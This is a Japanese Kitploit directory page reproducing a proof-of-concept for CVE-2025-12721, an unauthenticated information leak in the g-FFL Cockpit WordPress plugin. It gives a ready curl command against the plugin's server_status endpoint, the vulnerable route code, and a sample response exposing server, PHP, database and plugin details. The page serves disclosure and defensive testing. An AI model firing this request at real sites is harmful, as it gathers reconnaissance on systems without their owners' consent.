Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-12721 — g-FFL Cockpit <= 1.7.1 - 認可の欠如による未認証の情報漏えい | Kitploit
ツール/GitHubGitHub/d0n601/cve-2025-12721
脆弱性分析エクスプロイト情報収集ウェブセキュリティペネトレーションテスト設定ミス
GitHubd0n601/cve-2025-12721

CVE-2025-12721

g-FFL Cockpit <= 1.7.1 - 認可の欠如による未認証の情報漏えい

リポジトリを見る
9ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

g-FFL Cockpit <= 1.7.1 - 未認証の情報漏えい

g-FFL Cockpit プラグインは、server_status REST API エンドポイントに適切な認可チェックを実装していないため、未認証ユーザーが公開エンドポイントを通じて、機密性の高いサーバー設定情報、PHP 設定、データベース詳細、WordPress インストールのメタデータ、アクティブなプラグイン情報にアクセスできるようになっています。

TL;DR エクスプロイト

root@kitploit:~
TARGET_SITE="http://example.com"
curl -X GET $TARGET_SITE/wp-json/fflcockpit/v1/server_status | jq

詳細

includes/class-sync-endpoint.php 内の handle_server_status() 関数は、認証や権限チェックを一切必要とせずに、包括的なサーバー情報を取得・公開します。このエンドポイントは permission_callback => '__return_true' で登録されているため、未認証の訪問者であれば誰でも完全にアクセスできます。

class-sync-endpoint.php 内:

root@kitploit:~
88:        register_rest_route('fflcockpit/v1', '/server_status', [
89:            'methods' => 'GET',
90:            'callback' => [__CLASS__, 'handle_server_status'],
91:            'permission_callback' => '__return_true', // Public endpoint
92:        ]);

handle_server_status() 関数が公開する情報:

  • サーバー情報: PHP バージョン、オペレーティングシステム、サーバーソフトウェア、アーキテクチャ、サーバー負荷
  • メモリ使用量: 現在のメモリ使用量、ピークメモリ、メモリ制限、使用率
  • PHP 設定: メモリ制限、実行時間制限、アップロード制限、最大入力変数数、OPcache ステータス
  • PHP 拡張モジュール: 読み込まれている拡張モジュールのステータス (curl、gd、imagick、mbstring、mysql、zip、xml、json、openssl、fileinfo)
  • データベース情報: MySQL バージョン、データベースの文字セット/照合順序、MySQL 設定変数、データベースサイズ、クエリ数
  • ディスク容量: 空きディスク容量と合計ディスク容量、使用率
  • WordPress 情報: WordPress バージョン、マルチサイトステータス、デバッグモードステータス、バージョンと作者を含むアクティブなプラグイン一覧
  • WooCommerce 情報: インストールステータス、バージョン、API 設定、商品/注文数、セッションハンドラー設定
  • パフォーマンス指標: メモリしきい値、実行時間チェック、OPcache ステータス、ディスク容量警告、MySQL 設定分析

class-sync-endpoint.php からの脆弱性を含むスニペット:

root@kitploit:~
1443:                'php_version' => phpversion(),
1444:                'operating_system' => defined('PHP_OS') ? PHP_OS : 'Unknown',
1445:            ];
1446:            
1447:            if (isset($_SERVER['SERVER_SOFTWARE'])) {
1448:                $server_info['server_software'] = $_SERVER['SERVER_SOFTWARE'];
1449:            }

class-sync-endpoint.php における追加の情報開示:

root@kitploit:~
1645:                $active_plugins_list = get_option('active_plugins', []);
1646:                $wp_info['active_plugins_count'] = count($active_plugins_list);
1647:                
1648:                if (!function_exists('get_plugins')) {
1649:                    require_once ABSPATH . 'wp-admin/includes/plugin.php';
1650:                }
1651:                $all_plugins = get_plugins();
1652:                
1653:                $plugin_details = [];
1654:                foreach ($active_plugins_list as $plugin_path) {
1655:                    if (isset($all_plugins[$plugin_path])) {
1656:                        $plugin_info = $all_plugins[$plugin_path];
1657:                        $plugin_details[] = [
1658:                            'name' => $plugin_info['Name'] ?? 'Unknown',
1659:                            'version' => $plugin_info['Version'] ?? 'Unknown',
1660:                            'author' => isset($plugin_info['Author']) ? strip_tags($plugin_info['Author']) : 'Unknown',
1661:                            'description' => isset($plugin_info['Description']) ? wp_trim_words(strip_tags($plugin_info['Description']), 20) : '',
1662:                            'path' => $plugin_path,
1663:                            'network' => $plugin_info['Network'] ?? false,
1664:                        ];
1665:                    }
1666:                }

手動再現手順

注: g-FFL Cockpit には WooCommerce が必要です。

  1. g-FFL Cockpit プラグインがインストールされている対象の WordPress サイトにアクセスします。

  2. 以下の curl コマンドを実行して、サーバーステータス情報を取得します:

root@kitploit:~
curl -X GET http://example.com/wp-json/fflcockpit/v1/server_status
  1. 包括的なサーバー設定、PHP 設定、データベース情報、WordPress と WooCommerce の詳細、アクティブなプラグインの完全な一覧を含む JSON レスポンスが返されます:
root@kitploit:~
{
  "plugin": {
    "name": "FFL Cockpit",
    "version": "1.7.1"
  },
  "timestamp": "2024-01-15T12:34:56Z",
  "server": {
    "php_version": "8.1.27",
    "operating_system": "Linux",
    "server_software": "Apache/2.4.57",
    "architecture": "x86_64",
    "server_load": [0.52, 0.48, 0.45]
  },
  "memory_usage": {
    "current": "45.23 MB",
    "current_bytes": 47415296,
    "peak": "52.18 MB",
    "peak_bytes": 54722560,
    "limit": "256 MB",
    "limit_bytes": 268435456,
    "usage_percentage": 17.67
  },
  "php_config": {
    "memory_limit": "256M",
    "max_execution_time": "300",
    "max_input_vars": "3000",
    "post_max_size": "64M",
    "upload_max_filesize": "64M",
    "max_file_uploads": "20",
    "opcache_enabled": true,
    "opcache_memory_consumption": 67108864,
    "opcache_hit_rate": 95.23
  },
  "php_extensions": {
    "curl": true,
    "gd": true,
    "imagick": true,
    "mbstring": true,
    "mysql": true,
    "zip": true,
    "xml": true,
    "json": true,
    "openssl": true,
    "fileinfo": true
  },
  "database": {
    "mysql_version": "8.0.35",
    "charset": "utf8mb4",
    "collate": "utf8mb4_unicode_ci",
    "queries_this_request": 42,
    "mysql_config": {
      "max_connections": "151",
      "max_allowed_packet": "67108864",
      "innodb_buffer_pool_size": "134217728"
    },
    "database_size": 125.43
  },
  "disk_space": {
    "free": "15.23 GB",
    "free_bytes": 16357785600,
    "total": "50.00 GB",
    "total_bytes": 53687091200,
    "used_percentage": 69.51
  },
  "wordpress": {
    "version": "6.4.2",
    "multisite": false,
    "debug_enabled": false,
    "cache_enabled": false,
    "active_plugins_count": 12,
    "active_plugins": [
      {
        "name": "g-FFL Cockpit",
        "version": "1.7.1",
        "author": "Garidium LLC",
        "description": "g-FFL Cockpit",
        "path": "g-ffl-cockpit/g-ffl-cockpit.php",
        "network": false
      }
    ]
  },
  "woocommerce": {
    "is_installed": true,
    "version": "8.5.2",
    "api_enabled": true,
    "product_count": 1250,
    "order_count": 342
  }
}
ツールをダウンロード